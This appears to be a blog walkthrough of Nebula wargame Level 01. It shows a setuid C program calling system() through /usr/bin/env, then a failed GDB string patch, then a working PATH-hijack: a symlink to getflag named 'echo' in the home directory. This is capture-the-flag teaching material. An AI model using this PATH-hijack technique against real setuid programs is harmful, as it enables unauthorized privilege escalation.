Nebula Level 01

Level 01 instructions

There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?

To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();

  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);

  system("/usr/bin/env echo and now what?");

Okay so this time there is an existing compiled program on the target computer and I need to trick it to do my bidding. I start by logging into the machine as level01 and changing to the /home/flag01 as instructed. Sure enough there is the flag01 executable file. I run it and get the expected “and now what?” output. When I look at the files permissions I see that the setuid flag is set and it’s owned by flag01.

Looking at the source code it appears to be a very simple file. The bottom line executes the command “/usr/bin/env echo and now what?” but I want it to execute something more useful. I start by getting a little over ambitious and learn a valuable lesson.

I use GDB to launch the program with the idea of just changing the string in memory. Then I disassemble the main function to review code in memory.

gdb flag01
disassemble main
Dump of assembler code for function main:
=> 0x080484a4 <+0>:	push   ebp
   0x080484a5 <+1>:	mov    ebp,esp
   0x080484a7 <+3>:	and    esp,0xfffffff0
   0x080484aa <+6>:	sub    esp,0x20
   0x080484ad <+9>:	call   0x80483a0 <getegid@plt>
   0x080484b2 <+14>:	mov    DWORD PTR [esp+0x18],eax
   0x080484b6 <+18>:	call   0x8048390 <geteuid@plt>
   0x080484bb <+23>:	mov    DWORD PTR [esp+0x1c],eax
   0x080484bf <+27>:	mov    eax,DWORD PTR [esp+0x18]
   0x080484c3 <+31>:	mov    DWORD PTR [esp+0x8],eax
   0x080484c7 <+35>:	mov    eax,DWORD PTR [esp+0x18]
   0x080484cb <+39>:	mov    DWORD PTR [esp+0x4],eax
   0x080484cf <+43>:	mov    eax,DWORD PTR [esp+0x18]
   0x080484d3 <+47>:	mov    DWORD PTR [esp],eax
   0x080484d6 <+50>:	call   0x80483e0 <setresgid@plt>
   0x080484db <+55>:	mov    eax,DWORD PTR [esp+0x1c]
   0x080484df <+59>:	mov    DWORD PTR [esp+0x8],eax
   0x080484e3 <+63>:	mov    eax,DWORD PTR [esp+0x1c]
   0x080484e7 <+67>:	mov    DWORD PTR [esp+0x4],eax
   0x080484eb <+71>:	mov    eax,DWORD PTR [esp+0x1c]
   0x080484ef <+75>:	mov    DWORD PTR [esp],eax
   0x080484f2 <+78>:	call   0x8048380 <setresuid@plt>
   0x080484f7 <+83>:	mov    DWORD PTR [esp],0x80485e0
   0x080484fe <+90>:	call   0x80483b0 <system@plt>
   0x08048503 <+95>:	leave  
   0x08048504 <+96>:	ret    
End of assembler dump.

Notice that the code almost directly lines up with the C source code. The command in C that I care about is the call to system, and the string that is passed to it. Those commands in the disassembled code are

0x080484f7 <+83>:	mov    DWORD PTR [esp],0x80485e0
0x080484fe <+90>:	call   0x80483b0 <system@plt>

I view the string at 0x080485e0 to confirm that it’s the location of our string in memory.

x/fs 0x080485e0
0x80485e0:	 "/usr/bin/env echo and now what?"

That’s it! Now I just need to change the string to execute a different command.

set {char [8]} 0x080485e0= "getflag"

This is a character array of 8 characters. 7 letters and a null byte to represent the end of the string.
I read the memory again to confirm the string has been changed.

x/fs 0x080485e0
0x80485e0:	 "getflag"

Perfect. Now I just continue the program and wait to see the results…

getflag is executing on a non-flag account, this doesn't count

After a little head scratching I realize the problem and it is related to the way Linux treats the setuid permission flag. The executable file that I am trying to trick is owned by the user flag01 and has setuid enabled. So when I run that program is should run as the user flag01 and not the user that I’m logged in with. However, I am running GDB and not flag01. Since GDB does not have setuid it runs as my current user, then loads the flag01 program into memory using the current user. So using my string trick above I can fool the program into running whatever command I want, but it will run as my own user account. Basically that accomplishes nothing. Back to the drawing board.

I take another look at the command that the program executes and realize that it is using /usr/bin/env to look in the PATH environmental variable to find the echo command. When a command is run using /usr/bin/env it will look at each folder in the PATH variable and try each one from left to right until it finds the command that you are looking for. Environmental variables are changeable so this could be a way to trick the computer into running echo from a different location.

First I take a look at the current value of PATH


Then I add my own home folder to the beginning and check the value again.

export PATH=/home/level01/:$PATH

Great. So now if I run “/usr/bin/env echo” my home folder will be checked first for a file called echo. And if it’s found it should be run. Lets test by creating a simple bash file called echo, give it execute permissions, and run it using /usr/bin/env.

echo “echo success” > /home/level01/echo
chmod +x /home/level01/echo
/usr/bin/env echo

Nice. So now I can put anything into /home/level01/echo and the flag01 program should run it. Instead of writing a script why not just create a link for /bin/getflag to /home/level01/echo?

ln -s /bin/getflag /home/level01/echo

Now when I run the challenges program it should find my link and execute it as the flag01 user.

/home/flag01$ ./flag01 
You have successfully executed getflag on a target account.


Leave a Reply

Your email address will not be published. Required fields are marked *